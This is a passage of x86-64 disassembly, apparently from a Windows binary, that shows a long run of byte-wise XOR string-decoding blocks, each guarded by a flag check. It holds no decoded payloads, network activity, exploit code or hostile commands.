xor byte [0x14031861b], 0x39
xor byte [0x14031861c], 0x3a
xor byte [0x14031861d], 0x3b
xor byte [0x14031861e], 0x3c
xor byte [0x14031861f], 0x3d
xor byte [0x140318620], 0x3e
xor byte [0x140318621], 0x3f
xor byte [0x140318622], 0x40
xor byte [0x140318623], 0x41
xor byte [0x140318624], 0x42
xor byte [0x140318625], 0x43
xor byte [0x140318626], 0x44
xor byte [0x140318627], 0x45
xor byte [0x140318628], 0x46
xor byte [0x140318629], 0x47
xor byte [0x14031862a], 0x48
xor byte [0x14031862b], 0x49
xor byte [0x14031862c], 0x4a
xor byte [0x14031862d], 0x4b
xor byte [0x14031862e], 0x4c
xor al, 0x4d
mov byte [0x14031862f], al
movzx eax, byte [0x140318aef]
test al, al
je 0x140111698
xor byte [0x140318ad8], 0x36
xor byte [0x140318ad9], 0x37
xor byte [0x140318ada], 0x38
xor byte [0x140318adb], 0x39
xor byte [0x140318adc], 0x3a
xor byte [0x140318add], 0x3b
xor byte [0x140318ade], 0x3c
xor byte [0x140318adf], 0x3d
xor byte [0x140318ae0], 0x3e
xor byte [0x140318ae1], 0x3f
xor byte [0x140318ae2], 0x40
xor byte [0x140318ae3], 0x41
xor byte [0x140318ae4], 0x42
xor byte [0x140318ae5], 0x43
xor byte [0x140318ae6], 0x44
xor byte [0x140318ae7], 0x45
xor byte [0x140318ae8], 0x46
xor byte [0x140318ae9], 0x47
xor byte [0x140318aea], 0x48
xor byte [0x140318aeb], 0x49
xor byte [0x140318aec], 0x4a
xor byte [0x140318aed], 0x4b
xor byte [0x140318aee], 0x4c
xor al, 0x4d
mov byte [0x140318aef], al
movzx eax, byte [0x140317bef]
test al, al
je 0x140111750
xor byte [0x140317bd8], 0x36
xor byte [0x140317bd9], 0x37
xor byte [0x140317bda], 0x38
xor byte [0x140317bdb], 0x39
xor byte [0x140317bdc], 0x3a
xor byte [0x140317bdd], 0x3b
xor byte [0x140317bde], 0x3c
xor byte [0x140317bdf], 0x3d
xor byte [0x140317be0], 0x3e
xor byte [0x140317be1], 0x3f
xor byte [0x140317be2], 0x40
xor byte [0x140317be3], 0x41
xor byte [0x140317be4], 0x42
xor byte [0x140317be5], 0x43
xor byte [0x140317be6], 0x44
xor byte [0x140317be7], 0x45
xor byte [0x140317be8], 0x46
xor byte [0x140317be9], 0x47
xor byte [0x140317bea], 0x48
xor byte [0x140317beb], 0x49
xor byte [0x140317bec], 0x4a
xor byte [0x140317bed], 0x4b
xor byte [0x140317bee], 0x4c
xor al, 0x4d
mov byte [0x140317bef], al
movzx eax, byte [0x140318f77]
test al, al
je 0x140111808
xor byte [0x140318f60], 0x36
xor byte [0x140318f61], 0x37
xor byte [0x140318f62], 0x38
xor byte [0x140318f63], 0x39
xor byte [0x140318f64], 0x3a
xor byte [0x140318f65], 0x3b
xor byte [0x140318f66], 0x3c
xor byte [0x140318f67], 0x3d
xor byte [0x140318f68], 0x3e
xor byte [0x140318f69], 0x3f
xor byte [0x140318f6a], 0x40
xor byte [0x140318f6b], 0x41
xor byte [0x140318f6c], 0x42
xor byte [0x140318f6d], 0x43
xor byte [0x140318f6e], 0x44
xor byte [0x140318f6f], 0x45
xor byte [0x140318f70], 0x46
xor byte [0x140318f71], 0x47
xor byte [0x140318f72], 0x48
xor byte [0x140318f73], 0x49
xor byte [0x140318f74], 0x4a
xor byte [0x140318f75], 0x4b
xor byte [0x140318f76], 0x4c
xor al, 0x4d
mov byte [0x140318f77], al
movzx eax, byte [0x140318dff]
test al, al
je 0x1401118c0
xor byte [0x140318de8], 0x36
xor byte [0x140318de9], 0x37
xor byte [0x140318dea], 0x38
xor byte [0x140318deb], 0x39
xor byte [0x140318dec], 0x3a
xor byte [0x140318ded], 0x3b
xor byte [0x140318dee], 0x3c
xor byte [0x140318def], 0x3d
xor byte [0x140318df0], 0x3e
xor byte [0x140318df1], 0x3f
xor byte [0x140318df2], 0x40
xor byte [0x140318df3], 0x41
xor byte [0x140318df4], 0x42
xor byte [0x140318df5], 0x43
xor byte [0x140318df6], 0x44
xor byte [0x140318df7], 0x45
xor byte [0x140318df8], 0x46
xor byte [0x140318df9], 0x47
xor byte [0x140318dfa], 0x48
xor byte [0x140318dfb], 0x49
xor byte [0x140318dfc], 0x4a
xor byte [0x140318dfd], 0x4b
xor byte [0x140318dfe], 0x4c
xor al, 0x4d
mov byte [0x140318dff], al
movzx eax, byte [0x1403181bf]
test al, al
je 0x140111978
xor byte [0x1403181a8], 0x36
xor byte [0x1403181a9], 0x37
xor byte [0x1403181aa], 0x38
xor byte [0x1403181ab], 0x39
xor byte [0x1403181ac], 0x3a
xor byte [0x1403181ad], 0x3b
xor byte [0x1403181ae], 0x3c
xor byte [0x1403181af], 0x3d
xor byte [0x1403181b0], 0x3e
xor byte [0x1403181b1], 0x3f
xor byte [0x1403181b2], 0x40
xor byte [0x1403181b3], 0x41
xor byte [0x1403181b4], 0x42
xor byte [0x1403181b5], 0x43
xor byte [0x1403181b6], 0x44
xor byte [0x1403181b7], 0x45
xor byte [0x1403181b8], 0x46
xor byte [0x1403181b9], 0x47
xor byte [0x1403181ba], 0x48
xor byte [0x1403181bb], 0x49
xor byte [0x1403181bc], 0x4a
xor byte [0x1403181bd], 0x4b
xor byte [0x1403181be], 0x4c
xor al, 0x4d
mov byte [0x1403181bf], al
movzx eax, byte [0x140318317]
test al, al
je 0x140111a30
xor byte [0x140318300], 0x36
xor byte [0x140318301], 0x37
xor byte [0x140318302], 0x38
xor byte [0x140318303], 0x39
xor byte [0x140318304], 0x3a
xor byte [0x140318305], 0x3b
xor byte [0x140318306], 0x3c
xor byte [0x140318307], 0x3d
xor byte [0x140318308], 0x3e
xor byte [0x140318309], 0x3f
xor byte [0x14031830a], 0x40
xor byte [0x14031830b], 0x41
xor byte [0x14031830c], 0x42
xor byte [0x14031830d], 0x43
xor byte [0x14031830e], 0x44
xor byte [0x14031830f], 0x45
xor byte [0x140318310], 0x46
xor byte [0x140318311], 0x47
xor byte [0x140318312], 0x48
xor byte [0x140318313], 0x49
xor byte [0x140318314], 0x4a
xor byte [0x140318315], 0x4b
xor byte [0x140318316], 0x4c
xor al, 0x4d
mov byte [0x140318317], al
movzx eax, byte [0x140317ce7]
test al, al
je 0x140111ae8
xor byte [0x140317cd0], 0x36
xor byte [0x140317cd1], 0x37
xor byte [0x140317cd2], 0x38
xor byte [0x140317cd3], 0x39
xor byte [0x140317cd4], 0x3a
xor byte [0x140317cd5], 0x3b
xor byte [0x140317cd6], 0x3c
xor byte [0x140317cd7], 0x3d
xor byte [0x140317cd8], 0x3e
xor byte [0x140317cd9], 0x3f
xor byte [0x140317cda], 0x40
xor byte [0x140317cdb], 0x41
xor byte [0x140317cdc], 0x42
xor byte [0x140317cdd], 0x43
xor byte [0x140317cde], 0x44
xor byte [0x140317cdf], 0x45
xor byte [0x140317ce0], 0x46
xor byte [0x140317ce1], 0x47
xor byte [0x140317ce2], 0x48
xor byte [0x140317ce3], 0x49
xor byte [0x140317ce4], 0x4a
xor byte [0x140317ce5], 0x4b
xor byte [0x140317ce6], 0x4c
xor al, 0x4d
mov byte [0x140317ce7], al
movzx eax, byte [0x140317e37]
test al, al
je 0x140111ba0
xor byte [0x140317e20], 0x36
xor byte [0x140317e21], 0x37
xor byte [0x140317e22], 0x38
xor byte [0x140317e23], 0x39
xor byte [0x140317e24], 0x3a
xor byte [0x140317e25], 0x3b
xor byte [0x140317e26], 0x3c
xor byte [0x140317e27], 0x3d
xor byte [0x140317e28], 0x3e
xor byte [0x140317e29], 0x3f
xor byte [0x140317e2a], 0x40
xor byte [0x140317e2b], 0x41
xor byte [0x140317e2c], 0x42
xor byte [0x140317e2d], 0x43
xor byte [0x140317e2e], 0x44
xor byte [0x140317e2f], 0x45
xor byte [0x140317e30], 0x46
xor byte [0x140317e31], 0x47
xor byte [0x140317e32], 0x48
xor byte [0x140317e33], 0x49
xor byte [0x140317e34], 0x4a
xor byte [0x140317e35], 0x4b
xor byte [0x140317e36], 0x4c
xor al, 0x4d
mov byte [0x140317e37], al
movzx eax, byte [0x140317f97]
test al, al
je 0x140111c58
xor byte [0x140317f80], 0x36
xor byte [0x140317f81], 0x37
xor byte [0x140317f82], 0x38
xor byte [0x140317f83], 0x39
xor byte [0x140317f84], 0x3a
xor byte [0x140317f85], 0x3b
xor byte [0x140317f86], 0x3c
xor byte [0x140317f87], 0x3d
xor byte [0x140317f88], 0x3e
xor byte [0x140317f89], 0x3f
xor byte [0x140317f8a], 0x40
xor byte [0x140317f8b], 0x41
xor byte [0x140317f8c], 0x42
xor byte [0x140317f8d], 0x43
xor byte [0x140317f8e], 0x44
xor byte [0x140317f8f], 0x45
xor byte [0x140317f90], 0x46
xor byte [0x140317f91], 0x47
xor byte [0x140317f92], 0x48
xor byte [0x140317f93], 0x49
xor byte [0x140317f94], 0x4a
xor byte [0x140317f95], 0x4b
xor byte [0x140317f96], 0x4c
xor al, 0x4d
mov byte [0x140317f97], al
movzx eax, byte [0x140317d8f]
test al, al
je 0x140111d10
xor byte [0x140317d78], 0x36
xor byte [0x140317d79], 0x37
xor byte [0x140317d7a], 0x38
xor byte [0x140317d7b], 0x39
xor byte [0x140317d7c], 0x3a
xor byte [0x140317d7d], 0x3b
xor byte [0x140317d7e], 0x3c
xor byte [0x140317d7f], 0x3d
xor byte [0x140317d80], 0x3e
xor byte [0x140317d81], 0x3f
xor byte [0x140317d82], 0x40
xor byte [0x140317d83], 0x41
xor byte [0x140317d84], 0x42
xor byte [0x140317d85], 0x43
xor byte [0x140317d86], 0x44
xor byte [0x140317d87], 0x45
xor byte [0x140317d88], 0x46
xor byte [0x140317d89], 0x47
xor byte [0x140317d8a], 0x48
xor byte [0x140317d8b], 0x49
xor byte [0x140317d8c], 0x4a
xor byte [0x140317d8d], 0x4b
xor byte [0x140317d8e], 0x4c
xor al, 0x4d
mov byte [0x140317d8f], al
movzx eax, byte [0x140318707]
test al, al
je 0x140111dc8
xor byte [0x1403186f0], 0x36
xor byte [0x1403186f1], 0x37
xor byte [0x1403186f2], 0x38
xor byte [0x1403186f3], 0x39
xor byte [0x1403186f4], 0x3a
xor byte [0x1403186f5], 0x3b
xor byte [0x1403186f6], 0x3c
xor byte [0x1403186f7], 0x3d
xor byte [0x1403186f8], 0x3e
xor byte [0x1403186f9], 0x3f
xor byte [0x1403186fa], 0x40
xor byte [0x1403186fb], 0x41
xor byte [0x1403186fc], 0x42
xor byte [0x1403186fd], 0x43
xor byte [0x1403186fe], 0x44
xor byte [0x1403186ff], 0x45
xor byte [0x140318700], 0x46
xor byte [0x140318701], 0x47
xor byte [0x140318702], 0x48
xor byte [0x140318703], 0x49
xor byte [0x140318704], 0x4a
xor byte [0x140318705], 0x4b
xor byte [0x140318706], 0x4c
xor al, 0x4d
mov byte [0x140318707], al
movzx eax, byte [0x140318737]
test al, al
je 0x140111e80
xor byte [0x140318720], 0x36
xor byte [0x140318721], 0x37
xor byte [0x140318722], 0x38
xor byte [0x140318723], 0x39
xor byte [0x140318724], 0x3a
xor byte [0x140318725], 0x3b
xor byte [0x140318726], 0x3c
xor byte [0x140318727], 0x3d
xor byte [0x140318728], 0x3e
xor byte [0x140318729], 0x3f
xor byte [0x14031872a], 0x40
xor byte [0x14031872b], 0x41
xor byte [0x14031872c], 0x42
xor byte [0x14031872d], 0x43
xor byte [0x14031872e], 0x44
xor byte [0x14031872f], 0x45
xor byte [0x140318730], 0x46
xor byte [0x140318731], 0x47
xor byte [0x140318732], 0x48
xor byte [0x140318733], 0x49
xor byte [0x140318734], 0x4a
xor byte [0x140318735], 0x4b
xor byte [0x140318736], 0x4c
xor al, 0x4d
mov byte [0x140318737], al
movzx eax, byte [0x140318587]
test al, al
je 0x140111f38
xor byte [0x140318570], 0x36
xor byte [0x140318571], 0x37
xor byte [0x140318572], 0x38
xor byte [0x140318573], 0x39
xor byte [0x140318574], 0x3a
xor byte [0x140318575], 0x3b
xor byte [0x140318576], 0x3c
xor byte [0x140318577], 0x3d
xor byte [0x140318578], 0x3e
xor byte [0x140318579], 0x3f
xor byte [0x14031857a], 0x40
xor byte [0x14031857b], 0x41
xor byte [0x14031857c], 0x42
xor byte [0x14031857d], 0x43
xor byte [0x14031857e], 0x44
xor byte [0x14031857f], 0x45
xor byte [0x140318580], 0x46
xor byte [0x140318581], 0x47
xor byte [0x140318582], 0x48
xor byte [0x140318583], 0x49
xor byte [0x140318584], 0x4a
xor byte [0x140318585], 0x4b
xor byte [0x140318586], 0x4c
xor al, 0x4d
mov byte [0x140318587], al
movzx eax, byte [0x140318e77]
test al, al
je 0x140111ff0
xor byte [0x140318e60], 0x36
xor byte [0x140318e61], 0x37
xor byte [0x140318e62], 0x38
xor byte [0x140318e63], 0x39
xor byte [0x140318e64], 0x3a
xor byte [0x140318e65], 0x3b
xor byte [0x140318e66], 0x3c
xor byte [0x140318e67], 0x3d
xor byte [0x140318e68], 0x3e
xor byte [0x140318e69], 0x3f
xor byte [0x140318e6a], 0x40
xor byte [0x140318e6b], 0x41
xor byte [0x140318e6c], 0x42
xor byte [0x140318e6d], 0x43
xor byte [0x140318e6e], 0x44
xor byte [0x140318e6f], 0x45
xor byte [0x140318e70], 0x46
xor byte [0x140318e71], 0x47
xor byte [0x140318e72], 0x48
xor byte [0x140318e73], 0x49
xor byte [0x140318e74], 0x4a
xor byte [0x140318e75], 0x4b
xor byte [0x140318e76], 0x4c
xor al, 0x4d
mov byte [0x140318e77], al
movzx eax, byte [0x14031898f]
test al, al
je 0x1401120a8
xor byte [0x140318978], 0x36
xor byte [0x140318979], 0x37
xor byte [0x14031897a], 0x38
xor byte [0x14031897b], 0x39
xor byte [0x14031897c], 0x3a
xor byte [0x14031897d], 0x3b
xor byte [0x14031897e], 0x3c
xor byte [0x14031897f], 0x3d
xor byte [0x140318980], 0x3e
xor byte [0x140318981], 0x3f
xor byte [0x140318982], 0x40
xor byte [0x140318983], 0x41
xor byte [0x140318984], 0x42
xor byte [0x140318985], 0x43
xor byte [0x140318986], 0x44
xor byte [0x140318987], 0x45
xor byte [0x140318988], 0x46
xor byte [0x140318989], 0x47
xor byte [0x14031898a], 0x48
xor byte [0x14031898b], 0x49
xor byte [0x14031898c], 0x4a
xor byte [0x14031898d], 0x4b
xor byte [0x14031898e], 0x4c
xor al, 0x4d
mov byte [0x14031898f], al
movzx eax, byte [0x1403180ef]
test al, al
je 0x140112160
xor byte [0x1403180d8], 0x36
xor byte [0x1403180d9], 0x37
xor byte [0x1403180da], 0x38
xor byte [0x1403180db], 0x39
xor byte [0x1403180dc], 0x3a
xor byte [0x1403180dd], 0x3b
xor byte [0x1403180de], 0x3c
xor byte [0x1403180df], 0x3d
xor byte [0x1403180e0], 0x3e
xor byte [0x1403180e1], 0x3f
xor byte [0x1403180e2], 0x40
xor byte [0x1403180e3], 0x41
xor byte [0x1403180e4], 0x42
xor byte [0x1403180e5], 0x43
xor byte [0x1403180e6], 0x44
xor byte [0x1403180e7], 0x45
xor byte [0x1403180e8], 0x46
xor byte [0x1403180e9], 0x47
xor byte [0x1403180ea], 0x48
xor byte [0x1403180eb], 0x49
xor byte [0x1403180ec], 0x4a
xor byte [0x1403180ed], 0x4b
xor byte [0x1403180ee], 0x4c
xor al, 0x4d
mov byte [0x1403180ef], al
movzx eax, byte [0x140318797]
test al, al
je 0x140112218
xor byte [0x140318780], 0x36
xor byte [0x140318781], 0x37
xor byte [0x140318782], 0x38
xor byte [0x140318783], 0x39
xor byte [0x140318784], 0x3a
xor byte [0x140318785], 0x3b
xor byte [0x140318786], 0x3c
xor byte [0x140318787], 0x3d
xor byte [0x140318788], 0x3e
xor byte [0x140318789], 0x3f
xor byte [0x14031878a], 0x40
xor byte [0x14031878b], 0x41
xor byte [0x14031878c], 0x42
xor byte [0x14031878d], 0x43
xor byte [0x14031878e], 0x44
xor byte [0x14031878f], 0x45
xor byte [0x140318790], 0x46
xor byte [0x140318791], 0x47
xor byte [0x140318792], 0x48
xor byte [0x140318793], 0x49
xor byte [0x140318794], 0x4a
xor byte [0x140318795], 0x4b
xor byte [0x140318796], 0x4c
xor al, 0x4d
mov byte [0x140318797], al
movzx eax, byte [0x1403181a7]
test al, al
je 0x1401122d0
xor byte [0x140318190], 0x36
xor byte [0x140318191], 0x37
xor byte [0x140318192], 0x38
xor byte [0x140318193], 0x39
xor byte [0x140318194], 0x3a
xor byte [0x140318195], 0x3b
xor byte [0x140318196], 0x3c
xor byte [0x140318197], 0x3d
xor byte [0x140318198], 0x3e
xor byte [0x140318199], 0x3f
xor byte [0x14031819a], 0x40
xor byte [0x14031819b], 0x41
xor byte [0x14031819c], 0x42
xor byte [0x14031819d], 0x43
xor byte [0x14031819e], 0x44
xor byte [0x14031819f], 0x45
xor byte [0x1403181a0], 0x46
xor byte [0x1403181a1], 0x47
xor byte [0x1403181a2], 0x48
xor byte [0x1403181a3], 0x49
xor byte [0x1403181a4], 0x4a
xor byte [0x1403181a5], 0x4b
xor byte [0x1403181a6], 0x4c
xor al, 0x4d
mov byte [0x1403181a7], al
movzx eax, byte [0x1403184af]
test al, al
je 0x140112388
xor byte [0x140318498], 0x36
xor byte [0x140318499], 0x37
xor byte [0x14031849a], 0x38
xor byte [0x14031849b], 0x39
xor byte [0x14031849c], 0x3a
xor byte [0x14031849d], 0x3b
xor byte [0x14031849e], 0x3c
xor byte [0x14031849f], 0x3d
xor byte [0x1403184a0], 0x3e
xor byte [0x1403184a1], 0x3f
xor byte [0x1403184a2], 0x40
xor byte [0x1403184a3], 0x41
xor byte [0x1403184a4], 0x42
xor byte [0x1403184a5], 0x43
xor byte [0x1403184a6], 0x44
xor byte [0x1403184a7], 0x45
xor byte [0x1403184a8], 0x46
xor byte [0x1403184a9], 0x47
xor byte [0x1403184aa], 0x48
xor byte [0x1403184ab], 0x49
xor byte [0x1403184ac], 0x4a
xor byte [0x1403184ad], 0x4b
xor byte [0x1403184ae], 0x4c
xor al, 0x4d
mov byte [0x1403184af], al
movzx eax, byte [0x140318f5f]
test al, al
je 0x140112440
xor byte [0x140318f48], 0x36
xor byte [0x140318f49], 0x37
xor byte [0x140318f4a], 0x38
xor byte [0x140318f4b], 0x39
xor byte [0x140318f4c], 0x3a
xor byte [0x140318f4d], 0x3b
xor byte [0x140318f4e], 0x3c
xor byte [0x140318f4f], 0x3d
xor byte [0x140318f50], 0x3e
xor byte [0x140318f51], 0x3f
xor byte [0x140318f52], 0x40
xor byte [0x140318f53], 0x41
xor byte [0x140318f54], 0x42
xor byte [0x140318f55], 0x43
xor byte [0x140318f56], 0x44
xor byte [0x140318f57], 0x45
xor byte [0x140318f58], 0x46
xor byte [0x140318f59], 0x47
xor byte [0x140318f5a], 0x48
xor byte [0x140318f5b], 0x49
xor byte [0x140318f5c], 0x4a
xor byte [0x140318f5d], 0x4b
xor byte [0x140318f5e], 0x4c
xor al, 0x4d
mov byte [0x140318f5f], al
movzx eax, byte [0x140318fd7]
test al, al
je 0x1401124f8
xor byte [0x140318fc0], 0x36
xor byte [0x140318fc1], 0x37
xor byte [0x140318fc2], 0x38
xor byte [0x140318fc3], 0x39
xor byte [0x140318fc4], 0x3a
xor byte [0x140318fc5], 0x3b
xor byte [0x140318fc6], 0x3c
xor byte [0x140318fc7], 0x3d
xor byte [0x140318fc8], 0x3e
xor byte [0x140318fc9], 0x3f
xor byte [0x140318fca], 0x40
xor byte [0x140318fcb], 0x41
xor byte [0x140318fcc], 0x42
xor byte [0x140318fcd], 0x43
xor byte [0x140318fce], 0x44
xor byte [0x140318fcf], 0x45
xor byte [0x140318fd0], 0x46
xor byte [0x140318fd1], 0x47
xor byte [0x140318fd2], 0x48
xor byte [0x140318fd3], 0x49
xor byte [0x140318fd4], 0x4a
xor byte [0x140318fd5], 0x4b
xor byte [0x140318fd6], 0x4c
xor al, 0x4d
mov byte [0x140318fd7], al
movzx eax, byte [0x140317bbf]
test al, al
je 0x1401125b0
xor byte [0x140317ba8], 0x36
xor byte [0x140317ba9], 0x37
xor byte [0x140317baa], 0x38
xor byte [0x140317bab], 0x39
xor byte [0x140317bac], 0x3a
xor byte [0x140317bad], 0x3b
xor byte [0x140317bae], 0x3c
xor byte [0x140317baf], 0x3d
xor byte [0x140317bb0], 0x3e
xor byte [0x140317bb1], 0x3f
xor byte [0x140317bb2], 0x40
xor byte [0x140317bb3], 0x41
xor byte [0x140317bb4], 0x42
xor byte [0x140317bb5], 0x43
xor byte [0x140317bb6], 0x44
xor byte [0x140317bb7], 0x45
xor byte [0x140317bb8], 0x46
xor byte [0x140317bb9], 0x47
xor byte [0x140317bba], 0x48
xor byte [0x140317bbb], 0x49
xor byte [0x140317bbc], 0x4a
xor byte [0x140317bbd], 0x4b
xor byte [0x140317bbe], 0x4c
xor al, 0x4d
mov byte [0x140317bbf], al
movzx eax, byte [0x140318347]
test al, al
je 0x140112668
xor byte [0x140318330], 0x36
xor byte [0x140318331], 0x37
xor byte [0x140318332], 0x38
xor byte [0x140318333], 0x39
xor byte [0x140318334], 0x3a
xor byte [0x140318335], 0x3b
xor byte [0x140318336], 0x3c
xor byte [0x140318337], 0x3d
xor byte [0x140318338], 0x3e
xor byte [0x140318339], 0x3f
xor byte [0x14031833a], 0x40
xor byte [0x14031833b], 0x41
xor byte [0x14031833c], 0x42
xor byte [0x14031833d], 0x43
xor byte [0x14031833e], 0x44
xor byte [0x14031833f], 0x45
xor byte [0x140318340], 0x46
xor byte [0x140318341], 0x47
xor byte [0x140318342], 0x48
xor byte [0x140318343], 0x49
xor byte [0x140318344], 0x4a
xor byte [0x140318345], 0x4b
xor byte [0x140318346], 0x4c
xor al, 0x4d
mov byte [0x140318347], al
movzx eax, byte [0x140318917]
test al, al
je 0x140112720
xor byte [0x140318900], 0x36
xor byte [0x140318901], 0x37
xor byte [0x140318902], 0x38
xor byte [0x140318903], 0x39
xor byte [0x140318904], 0x3a
xor byte [0x140318905], 0x3b
xor byte [0x140318906], 0x3c
xor byte [0x140318907], 0x3d
xor byte [0x140318908], 0x3e
xor byte [0x140318909], 0x3f
xor byte [0x14031890a], 0x40
xor byte [0x14031890b], 0x41
xor byte [0x14031890c], 0x42
xor byte [0x14031890d], 0x43
xor byte [0x14031890e], 0x44
xor byte [0x14031890f], 0x45
xor byte [0x140318910], 0x46
xor byte [0x140318911], 0x47
xor byte [0x140318912], 0x48
xor byte [0x140318913], 0x49
xor byte [0x140318914], 0x4a
xor byte [0x140318915], 0x4b
xor byte [0x140318916], 0x4c
xor al, 0x4d
mov byte [0x140318917], al
movzx eax, byte [0x1403183a7]
test al, al
je 0x1401127d8
xor byte [0x140318390], 0x36
xor byte [0x140318391], 0x37
xor byte [0x140318392], 0x38
xor byte [0x140318393], 0x39
xor byte [0x140318394], 0x3a
xor byte [0x140318395], 0x3b
xor byte [0x140318396], 0x3c
xor byte [0x140318397], 0x3d
xor byte [0x140318398], 0x3e
xor byte [0x140318399], 0x3f
xor byte [0x14031839a], 0x40
xor byte [0x14031839b], 0x41
xor byte [0x14031839c], 0x42
xor byte [0x14031839d], 0x43
xor byte [0x14031839e], 0x44
xor byte [0x14031839f], 0x45
xor byte [0x1403183a0], 0x46
xor byte [0x1403183a1], 0x47
xor byte [0x1403183a2], 0x48
xor byte [0x1403183a3], 0x49
xor byte [0x1403183a4], 0x4a
xor byte [0x1403183a5], 0x4b
xor byte [0x1403183a6], 0x4c
xor al, 0x4d
mov byte [0x1403183a7], al
movzx eax, byte [0x14031868f]
test al, al
je 0x140112890
xor byte [0x140318678], 0x36
xor byte [0x140318679], 0x37
xor byte [0x14031867a], 0x38
xor byte [0x14031867b], 0x39
xor byte [0x14031867c], 0x3a
xor byte [0x14031867d], 0x3b
xor byte [0x14031867e], 0x3c
xor byte [0x14031867f], 0x3d
xor byte [0x140318680], 0x3e
xor byte [0x140318681], 0x3f
xor byte [0x140318682], 0x40
xor byte [0x140318683], 0x41
xor byte [0x140318684], 0x42
xor byte [0x140318685], 0x43
xor byte [0x140318686], 0x44
xor byte [0x140318687], 0x45
xor byte [0x140318688], 0x46
xor byte [0x140318689], 0x47
xor byte [0x14031868a], 0x48
xor byte [0x14031868b], 0x49
xor byte [0x14031868c], 0x4a
xor byte [0x14031868d], 0x4b
xor byte [0x14031868e], 0x4c
xor al, 0x4d
mov byte [0x14031868f], al
movzx eax, byte [0x1403188b7]
test al, al
je 0x140112948
xor byte [0x1403188a0], 0x36
xor byte [0x1403188a1], 0x37
xor byte [0x1403188a2], 0x38
xor byte [0x1403188a3], 0x39
xor byte [0x1403188a4], 0x3a
xor byte [0x1403188a5], 0x3b
xor byte [0x1403188a6], 0x3c
xor byte [0x1403188a7], 0x3d
xor byte [0x1403188a8], 0x3e
xor byte [0x1403188a9], 0x3f
xor byte [0x1403188aa], 0x40
xor byte [0x1403188ab], 0x41
xor byte [0x1403188ac], 0x42
xor byte [0x1403188ad], 0x43
xor byte [0x1403188ae], 0x44
xor byte [0x1403188af], 0x45
xor byte [0x1403188b0], 0x46
xor byte [0x1403188b1], 0x47
xor byte [0x1403188b2], 0x48
xor byte [0x1403188b3], 0x49
xor byte [0x1403188b4], 0x4a
xor byte [0x1403188b5], 0x4b
xor byte [0x1403188b6], 0x4c
xor al, 0x4d
mov byte [0x1403188b7], al
movzx eax, byte [0x140318a07]
test al, al
je 0x140112a00
xor byte [0x1403189f0], 0x36
xor byte [0x1403189f1], 0x37
xor byte [0x1403189f2], 0x38
xor byte [0x1403189f3], 0x39
xor byte [0x1403189f4], 0x3a
xor byte [0x1403189f5], 0x3b
xor byte [0x1403189f6], 0x3c
xor byte [0x1403189f7], 0x3d
xor byte [0x1403189f8], 0x3e
xor byte [0x1403189f9], 0x3f
xor byte [0x1403189fa], 0x40
xor byte [0x1403189fb], 0x41
xor byte [0x1403189fc], 0x42
xor byte [0x1403189fd], 0x43
xor byte [0x1403189fe], 0x44
xor byte [0x1403189ff], 0x45
xor byte [0x140318a00], 0x46
xor byte [0x140318a01], 0x47
xor byte [0x140318a02], 0x48
xor byte [0x140318a03], 0x49
xor byte [0x140318a04], 0x4a
xor byte [0x140318a05], 0x4b
xor byte [0x140318a06], 0x4c
xor al, 0x4d
mov byte [0x140318a07], al
movzx eax, byte [0x140318047]
test al, al
je 0x140112ab8
xor byte [0x140318030], 0x36
xor byte [0x140318031], 0x37
xor byte [0x140318032], 0x38
xor byte [0x140318033], 0x39
xor byte [0x140318034], 0x3a
xor byte [0x140318035], 0x3b
xor byte [0x140318036], 0x3c
xor byte [0x140318037], 0x3d
xor byte [0x140318038], 0x3e
xor byte [0x140318039], 0x3f
xor byte [0x14031803a], 0x40
xor byte [0x14031803b], 0x41
xor byte [0x14031803c], 0x42
xor byte [0x14031803d], 0x43
xor byte [0x14031803e], 0x44
xor byte [0x14031803f], 0x45
xor byte [0x140318040], 0x46
xor byte [0x140318041], 0x47
xor byte [0x140318042], 0x48
xor byte [0x140318043], 0x49
xor byte [0x140318044], 0x4a
xor byte [0x140318045], 0x4b
xor byte [0x140318046], 0x4c
xor al, 0x4d
mov byte [0x140318047], al
movzx eax, byte [0x140317c1f]
test al, al
je 0x140112b70
xor byte [0x140317c08], 0x36
xor byte [0x140317c09], 0x37
xor byte [0x140317c0a], 0x38
xor byte [0x140317c0b], 0x39
xor byte [0x140317c0c], 0x3a
xor byte [0x140317c0d], 0x3b
xor byte [0x140317c0e], 0x3c
xor byte [0x140317c0f], 0x3d
xor byte [0x140317c10], 0x3e
xor byte [0x140317c11], 0x3f
xor byte [0x140317c12], 0x40
xor byte [0x140317c13], 0x41
xor byte [0x140317c14], 0x42
xor byte [0x140317c15], 0x43
xor byte [0x140317c16], 0x44
xor byte [0x140317c17], 0x45
xor byte [0x140317c18], 0x46
xor byte [0x140317c19], 0x47
xor byte [0x140317c1a], 0x48
xor byte [0x140317c1b], 0x49
xor byte [0x140317c1c], 0x4a
xor byte [0x140317c1d], 0x4b
xor byte [0x140317c1e], 0x4c
xor al, 0x4d
mov byte [0x140317c1f], al
movzx eax, byte [0x140318fef]
test al, al
je 0x140112c28
xor byte [0x140318fd8], 0x36
xor byte [0x140318fd9], 0x37
xor byte [0x140318fda], 0x38
xor byte [0x140318fdb], 0x39
xor byte [0x140318fdc], 0x3a
xor byte [0x140318fdd], 0x3b
xor byte [0x140318fde], 0x3c
xor byte [0x140318fdf], 0x3d
xor byte [0x140318fe0], 0x3e
xor byte [0x140318fe1], 0x3f
xor byte [0x140318fe2], 0x40
xor byte [0x140318fe3], 0x41
xor byte [0x140318fe4], 0x42
xor byte [0x140318fe5], 0x43
xor byte [0x140318fe6], 0x44
xor byte [0x140318fe7], 0x45
xor byte [0x140318fe8], 0x46
xor byte [0x140318fe9], 0x47
xor byte [0x140318fea], 0x48
xor byte [0x140318feb], 0x49
xor byte [0x140318fec], 0x4a
xor byte [0x140318fed], 0x4b
xor byte [0x140318fee], 0x4c
xor al, 0x4d
mov byte [0x140318fef], al
movzx eax, byte [0x140319117]
test al, al
je 0x140112ce0
xor byte [0x140319100], 0x36
xor byte [0x140319101], 0x37
xor byte [0x140319102], 0x38
xor byte [0x140319103], 0x39
xor byte [0x140319104], 0x3a
xor byte [0x140319105], 0x3b
xor byte [0x140319106], 0x3c
xor byte [0x140319107], 0x3d
xor byte [0x140319108], 0x3e
xor byte [0x140319109], 0x3f
xor byte [0x14031910a], 0x40
xor byte [0x14031910b], 0x41
xor byte [0x14031910c], 0x42
xor byte [0x14031910d], 0x43
xor byte [0x14031910e], 0x44
xor byte [0x14031910f], 0x45
xor byte [0x140319110], 0x46
xor byte [0x140319111], 0x47
xor byte [0x140319112], 0x48
xor byte [0x140319113], 0x49
xor byte [0x140319114], 0x4a
xor byte [0x140319115], 0x4b
xor byte [0x140319116], 0x4c
